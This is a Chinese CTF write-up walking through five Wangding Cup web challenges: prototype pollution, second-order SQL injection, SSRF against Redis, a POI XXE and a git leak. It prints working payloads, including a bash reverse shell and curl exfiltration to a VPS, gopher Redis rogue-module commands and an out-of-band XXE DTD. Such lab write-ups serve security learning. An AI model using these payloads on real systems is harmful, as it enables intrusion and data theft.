Nssctf刷题-网鼎杯

[网鼎杯 2020青龙组]Notes

这里没给题目源码只能网上找，app.js源码如下：

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) { 
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

大概审了一遍之后就会知道，在/status路由里面执行了命令，只要能够污染commands里面的属性就能rce，接下来就要去看看怎么样才能污染这个属性。

看了一下只有undefsafe这个模块能够修改对象的属性，搜了一下该模块在低版本存在原型链污染漏洞，先来了解一下undefsafe模块

undefsafe 是一个用于安全地访问对象属性的库。它提供了一种安全的方法来访问嵌套在对象中的属性，而不会导致错误。这在处理可能不存在的属性时非常有用，因为它可以避免抛出异常，但其在低版本（< 2.0.3）中存在原型链污染漏洞。

下面是几个例子：

const undefsafe = require('undefsafe');

const obj = {
  a: {
    b: {
      c: 3
    }
  }
};

const result = undefsafe(obj, 'a.b.c');
console.log(result); // 输出：3

const undefsafe=require("undefsafe");
const obj={
    a:{
        b:{
            c:1,
            d:2
        }
    }
}
console.log(undefsafe(obj,"a.b.e"));//undefined
console.log(obj.a.b.e);//报错
undef(obj,"a.b.e","test");//不存在该属性则创建，存在则修改

下面是一个原型链污染的例子：

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'rev1ve'
        }
    }
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);

这时候toString属性就被我们修改了，那么根据上面的代码他会将commands对象所有的属性列出来，那么我们就可以利用原型链添加一个我们想要的属性值即可。

能让我们足够自由传参数的污染的函数就是edit_note()

edit_note(id, author, raw) { 
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
}

调用了该函数的位置就在/edit_note路由

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

那我们只要控制id为__ proto __即可污染。

这里一开始传了参数发现会报错给我整不会了

去看了wp说报错也不影响。

那我就先试了一下污染成ls，但是没有回显

id=__proto__&author=ls&raw=hhh

然后用了一下curl是能监听到的，那就可以直接反弹shell了

id=__proto__&author=bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1&raw=hhh

难绷弹不回来不知道为什么，那就用curl吧。。。

id=__proto__&author=curl <主机ip> -d `cat /flag`&raw=hhh

参考文章：https://blog.csdn.net/m0_73512445/article/details/135079967

[网鼎杯 2018]unfinish

这题的考点是二次注入，还不会二次注入先学习一下，参考文章：https://www.cnblogs.com/jackie-lee/p/16124022.html

总结一下就是二次利用恶意数据，第一次发送的恶意数据经过转义后存入数据库，但之后从数据取出数据利用的时候并没有转义，那这个时候我们的恶意数据就会生效。

进去就给了一个login.php，扫了一下发现还有register.php

随便注册一个账号登录进去之后就是一张图片

可以看到上图的左侧中会回显一个用户名，这就是第二次利用数据库中的数据，那应该就是在注册的用户名上动手脚了

在注册页面的用户名输了一下逗号发现被过滤了

那我们就先去爆破一下看看过滤了什么关键词

看到似乎是只过滤了information和逗号

猜测一下sql语句如下：

select username from table where username = '传递的参数'

我们去注册一下用户名0’ and ‘1 看一下，可以发现用户名变成了0，即存在二次注入

这里可以了解一下MySQL中字符串的运算

执行select ‘0’+database()变成了0：

不过用下面的查询方式就能知道数据库名的第一个字符的ascii码

题中过滤了逗号可以用下面的方式

然后我们就可以进行盲注，因为过滤了information，所以wp猜测表名为flag，只能说很猜谜。

那脚本如下，因为邮箱不能重复注册，所以每次注册都要不一样（不想写了偷个懒）

import requests
import time
from bs4 import BeautifulSoup
def get_flag():
    flag = ''
    url = ''
    register_url = url + 'register.php'
    login_url = url + 'login.php'
    for i in range(1, 100):
        time.sleep(0.5)
        register_data = {"email": "{}@1.com".format(i),
                 "username": "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i), "password": "1"}
        login_data = {"email": "{}@1.com".format(i), "password": "1"}
        requests.post(register_url, data=register_data)
        response_login = requests.post(login_url, data=login_data)
        bs = BeautifulSoup(response_login.text, 'html.parser') 
        username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性
        number = username.text  
        flag += chr(int(number))
        print("\r", end="")
        print(flag,end="")
if __name__ == '__main__':
    get_flag()

不过还是觉得很奇怪，按照上面的查询语句不应该是为空嘛查询出来的值？

网上也没找到源码不清楚具体是怎么样的

参考文章：https://juejin.cn/post/7158228802844229662#heading-1

[网鼎杯 2020 玄武组]SSRFMe

题目源码：

<?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

根据最后一句就是要从本地访问hint.php

先做一下代码审计搞清楚流程，首先是url参数获取要请求的url，然后去进行安全请求的函数执行，执行前会先判断是否为黑名单里的ip，是则不请求；请求之后会获取url的重定向参数，如果有的话就会进行重定向。

那就先绕一下ip来读hint.php

?url=http://0.0.0.0/hint.php

读出来的内容如下：

<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
    highlight_file(__FILE__);
}
if(isset($_POST['file'])){
    file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

这里提示了redis的密码是root，这题的考点就是redis本地主从复制的rce

这里有一个死亡代码，可以绕过，参考这篇文章：https://xiaolong22333.top/archives/114/，但是没有写shell的权限，写不进去

现在去访问一下6379端口看看情况，用dict协议去看看

然后可以发现没有验证，需要密码

有关ssrf打redis的原理参考这篇文章：https://xz.aliyun.com/t/5665?time__1311=n4%2BxnD07Dti%3DL4YqGNnmDUhDjhDRo4q7IKXKQx&alichlgref=https%3A%2F%2Fwww.google.com%2F，redis数据传输采用的resp协议。

下面参考这篇文章来打redis：https://www.freebuf.com/articles/web/293030.html

因为用另一种方法没打通就直接用这个一步一步来好了

首先起一个master，这里用的工具是：https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server，在自己的vps起，等会靶机连接这个设置主从关系

python3 redis_rogue_server.py -v -path exp.so -lport 8888

通过上面的文章我们可以知道redis的resp协议的传输格式，那么我们就可以用gopher一步步来进行主从复制rce

# 设置备份路径
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit

# 修改备份文件名字，跟远程主机建立主从关系，这里的ip和端口修改为你vps的地址和端口
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%25201.xx.xx.xx%252021000%250d%250aquit

gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 1.xx.xx.xx 21000
quit

# 加载模块
gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit

gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit

#关闭主从同步(可选)
gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit

#执行命令获取flag
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit

gopher://0.0.0.0:6379/_auth root
system.exec "cat /flag"
quit

# 也可以反弹shell
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.rev%25201.xx.xx.xx%25206666%250d%250aquit

gopher://0.0.0.0:6379/_auth root
system.rev 1.xx.xx.xx 6666
quit

还有另一种方法用的是这两种工具，参考文章：https://www.cnblogs.com/karsa/p/14123995.html

工具一，工具二

把exp.so复制到工具二的目录下，然后修改一下payload代码即可，但是我没有打通，加载模块一直失败不知道为什么

payload要修改的地方如图：

ip因为需要绕过要改一下

vps的地址还有要执行的命令

这是将他生成的payload解码后的形式

gopher://0.0.0.0:6379/_*2
$4
AUTH
$4
root
*3
$7
SLAVEOF
$14
<vps地址>
$4
8888
*4
$6
CONFIG
$3
SET
$3
dir
$5
/tmp/
*4
$6
config
$3
set
$10
dbfilename
$6
exp.so
*3
$6
MODULE
$4
LOAD
$11
/tmp/exp.so
*2
$11
system.exec
$14
cat${IFS}/flag
*1
$4
quit

[网鼎杯 2020青龙组]FileJava

这题的考点是xxe，好久没做xxe的题了，复习一下

首先是一个文件上传的页面

上传了一个txt文件上去看看

可以看到有一个下载地址，抓包看看，这种通常配合任意文件下载

改了一下下载的文件名，报错了，而且给了我们路径，那就尝试一个路径穿越读一下WEB-INF目录下的文件

?filename=../../../web.xml

可以看到成功读取了文件，看一下有哪些重要的组件

<servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>

<servlet>
        <servlet-name>ListFileServlet</servlet-name>
        <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>

<servlet>
        <servlet-name>UploadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>

根据包的路径去分别拿一下这三个源码：

?filename=../../../classes/cn/abc/servlet/DownloadServlet.class
?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
?filename=../../../classes/cn/abc/servlet/UploadServlet.class

这里用jadx反编译一下看看源码

看一下downloadfile的源码：

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String fileName = new String(request.getParameter("filename").getBytes("ISO8859-1"), "UTF-8");
        System.out.println("filename=" + fileName);
        if (fileName != null && fileName.toLowerCase().contains("flag")) {
            request.setAttribute("message", "禁止读取");
            request.getRequestDispatcher("/message.jsp").forward(request, response);
            return;
        }
        String fileSaveRootPath = getServletContext().getRealPath("/WEB-INF/upload");
        String path = findFileSavePathByFileName(fileName, fileSaveRootPath);
        File file = new File(path + "/" + fileName);
        if (!file.exists()) {
            request.setAttribute("message", "您要下载的资源已被删除!");
            request.getRequestDispatcher("/message.jsp").forward(request, response);
            return;
        }
        String realname = fileName.substring(fileName.indexOf("_") + 1);
        response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8"));
        FileInputStream in = new FileInputStream(path + "/" + fileName);
        ServletOutputStream out = response.getOutputStream();
        byte[] buffer = new byte[1024];
        while (true) {
            int len = in.read(buffer);
            if (len > 0) {
                out.write(buffer, 0, len);
            } else {
                in.close();
                out.close();
                return;
            }
        }
    }

这里主要是过滤了flag，禁止直接读取flag文件。

其有关上传文件的处理源码如下：

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ServletFileUpload upload;
        String savePath = getServletContext().getRealPath("/WEB-INF/upload");
        String tempPath = getServletContext().getRealPath("/WEB-INF/temp");
        File tempFile = new File(tempPath);
        if (!tempFile.exists()) {
            tempFile.mkdir();
        }
        String message = "";
        try {
            DiskFileItemFactory factory = new DiskFileItemFactory();
            factory.setSizeThreshold(102400);
            factory.setRepository(tempFile);
            upload = new ServletFileUpload(factory);
            upload.setHeaderEncoding("UTF-8");
            upload.setFileSizeMax(1048576L);
            upload.setSizeMax(10485760L);
        } catch (FileUploadException e) {
            e.printStackTrace();
        }
        if (!ServletFileUpload.isMultipartContent(request)) {
            return;
        }
        List<FileItem> list = upload.parseRequest(request);
        for (FileItem fileItem : list) {
            if (fileItem.isFormField()) {
                fileItem.getFieldName();
                fileItem.getString("UTF-8");
            } else {
                String filename = fileItem.getName();
                if (filename != null && !filename.trim().equals("")) {
                    String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
                    InputStream in = fileItem.getInputStream();
                    if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
                        try {
                            Workbook wb1 = WorkbookFactory.create(in);
                            Sheet sheet = wb1.getSheetAt(0);
                            System.out.println(sheet.getFirstRowNum());
                        } catch (InvalidFormatException e2) {
                            System.err.println("poi-ooxml-3.10 has something wrong");
                            e2.printStackTrace();
                        }
                    }
                    String saveFilename = makeFileName(filename);
                    request.setAttribute("saveFilename", saveFilename);
                    request.setAttribute("filename", filename);
                    String realSavePath = makePath(saveFilename, savePath);
                    FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);
                    byte[] buffer = new byte[1024];
                    while (true) {
                        int len = in.read(buffer);
                        if (len <= 0) {
                            break;
                        } else {
                            out.write(buffer, 0, len);
                        }
                    }
                    in.close();
                    out.close();
                    message = "文件上传成功!";
                }
            }
        }
        request.setAttribute("message", message);
        request.getRequestDispatcher("/ListFileServlet").forward(request, response);
    }

关键是这个地方处理了xlsx文件

String filename = fileItem.getName();
                if (filename != null && !filename.trim().equals("")) {
                    String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
                    InputStream in = fileItem.getInputStream();
                    if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
                        try {
                            Workbook wb1 = WorkbookFactory.create(in);
                            Sheet sheet = wb1.getSheetAt(0);
                            System.out.println(sheet.getFirstRowNum());
                        } catch (InvalidFormatException e2) {
                            System.err.println("poi-ooxml-3.10 has something wrong");
                            e2.printStackTrace();
                        }
                    }

网上是有一个xlsx的xxe漏洞的：https://www.jianshu.com/p/73cd11d83c30

是关于Apache POI 3.10的xxe漏洞，Apache POI 是一个开源的 Java 库，用于处理 Microsoft Office 格式的文档。它提供了对 Excel、Word、PowerPoint 等文件格式的读写支持；上面的版本刚好符合，所以直接利用这个漏洞打即可。

其漏洞原因是：poi-ooxml 包里 org.apache.poi.openxml4j.opc.internal.ContentTypeManager#parseContentTypesFile 中读取 [Content-Types].xml 时没有进行 XXE 防护。

我们新建一个excel-1.xlsx文件，然后用7zip打开，修改[Content_Types].xml文件，在第二行加入下面内容

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://<vps>/evil.dtd">
%remote;%int;%send;
]>

然后vps上放一个evil.dtd

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://vps:port/?q=%file;'>">
%int;
%send;

然后python起一个服务器

python -m http.server 80

然后nc监听对应端口

即可拿到flag

[网鼎杯 2018]comment

题目显示考点是git源码泄露和sql注入

他有一个登陆页面

扫一下目录看看，存在git泄露

用githacker拿一下源码

python GitHack.py --url "http://node4.anna.nssctf.cn:28008/.git"

write_do.php

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

这里的源码不太全，我们可以查一下有没有历史版本

额额额这些githack工具好奇怪，我一开始用的只有源码没有.git，然后换了一个只有.git没有源码

能下载.git的工具地址：https://github.com/BugScanTeam/GitHack?tab=readme-ov-file，需要用python2执行

然后用那个有.git的看一下历史版本

git log --all
#然后回退到指定版本
git reset --hard  <版本号>

难绷我每一个都尝试了一遍还是只有那个简短的php文件不知道是不是nss靶场的环境出问题了，直接拿别人的源码好了

<?php
include "mysql.php";
session_start();
if ($_SESSION['login'] != 'yes') {
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])) {
    switch($_GET['do'])
    {
        case 'write':
            $category = addslashes($_POST['category']);
            $title = addslashes($_POST['title']);
            $content = addslashes($_POST['content']);
            $sql = "insert into board
                    set category = '$category',
                        title = '$title',
                        content = '$content'";
            $result = mysql_query($sql);
            header("Location: ./index.php");
            break;
        case 'comment':
            $bo_id = addslashes($_POST['bo_id']);
            $sql = "select category from board where id='$bo_id'";
            $result = mysql_query($sql);
            $num = mysql_num_rows($result);
            if ($num > 0) {
                $category = mysql_fetch_array($result)['category'];
                $content = addslashes($_POST['content']);
                $sql = "insert into comment
                        set category = '$categoty',
                            content = '$content',
                            bo_id = '$bo_id'";
                $result = mysql_query($sql);
            }
            header("Location: ./comment.php?id=$bo_id");
            break;
        default:
            header("Location: ./index.php");
    }
} else {
    header("Location: ./index.php");
}
?>

这里审计一下写评论的源码就知道，在我们写的时候进行了转义，但是在后面comment的时候直接把我们写进去的东西拿出来用了没有转义，很明显的二次注入

但是写评论需要登陆，密码是爆破出来的直接看wp了懒得爆了，密码为666

去抓了comment看了一下，是登陆之后写评论

发帖则是write，就是先开一个栏目的样子

通过上面的源码可以发现，只有categoty字段是存在二次注入的点的，我们可以先尝试一下

这里尝试一下插入查询database()

这里要注意一点我们的插入方式有点特殊

#write界面传参
title=test&category=test',content=database(),/*&content=test

#comment路由
content=*/#&bo_id=7

这里要这么写的原因

我们这么写后他的sql语句就变成了这样：

insert into comment set category = 'test',content=database(),/*'content='*/#',bo_id='7'

emmm但是有一个很神奇的问题，后面应该是被注释了是插入不了的，但是他却插入进去了。。。

然后就能在留言的地方看到数据库名字，然后我们就可以继续进行其他查表操作

然后去看一下/etc/passwd

#write界面传参
title=test&category=test',content=((select(load_file("/etc/passwd")))),/*&content=test

#comment路由
content=*/#&bo_id=7

看到在web目录在home目录下

然后再去读一下历史操作

#write界面传参
title=test&category=test',content=((select(load_file("/home/www/.bash_history")))),/*&content=test

可知tmp目录下还有DS_Store文件，我们去读一下

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

title=test&category=test',content=((select(load_file("/tmp/html/.DS_Store")))),/*&content=test

但是乱码读不了先转成十六进制

title=test&category=test',content=((select(hex(load_file("/tmp/html/.DS_Store"))))),/*&content=test


#结果
00000001427564310000100000000800000010000000040A000000000000000000000000000000000000000000000800000008000000000000000000000000000000000000000002000000000000000B000000010000100000730074007200610070496C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000B000000090062006F006F007400730074007200610070496C6F63626C6F62000000100000004600000028FFFFFFFFFFFF00000000000B0063006F006D006D0065006E0074002E007000680070496C6F63626C6F6200000010000000CC0000002800000001FFFF000000000003006300730073496C6F63626C6F62000000100000015200000028FFFFFFFFFFFF0000000000190066006C00610067005F0038003900340036006500310066006600310065006500330065003400300066002E007000680070496C6F63626C6F6200000010000001D800000028FFFFFFFFFFFF0000000000050066006F006E00740073496C6F63626C6F62000000100000004600000098FFFFFFFFFFFF0000000000090069006E006400650078002E007000680070496C6F63626C6F6200000010000000CC0000009800000002FFFF000000000002006A0073496C6F63626C6F62000000100000015200000098FFFFFFFFFFFF000000000009006C006F00670069006E002E007000680070496C6F63626C6F6200000010000001D800000098FFFFFFFFFFFF000000000009006D007900730071006C002E007000680070496C6F63626C6F62000000100000004600000108FFFFFFFFFFFF00000000000600760065006E0064006F0072496C6F63626C6F6200000010000000CC00000108FFFFFFFFFFFF00000000000C00770072006900740065005F0064006F002E007000680070496C6F63626C6F62000000100000015200000108FFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000080B000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000002000000001000000400000000100000080000000010000010000000001000002000000000100000400000000000000000100001000000000010000200000000001000040000000000100008000000000010001000000000001000200000000000100040000000000010008000000000001001000000000000100200000000000010040000000000001008000000000000101000000000000010200000000000001040000000000000108000000000000011000000000000001200000000000000140000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000000000100B000000450000040A000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000104445344420000000100000000000000000000000000000000000000000000000200000020000000600000000000000001000000800000000100000100000000010000020000000000000000020000080000001800000000000000000100002000000000010000400000000001000080000000000100010000000000010002000000000001000400000000000100080000000000010010000000000001002000000000000100400000000000010080000000000001010000000000000102000000000000010400000000000001080000000000000110000000000000012000000000000001400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

然后再hex解码一下拿到一个flag_8946e1ff1ee3e40f.php，去读一下这个文件拿到flag

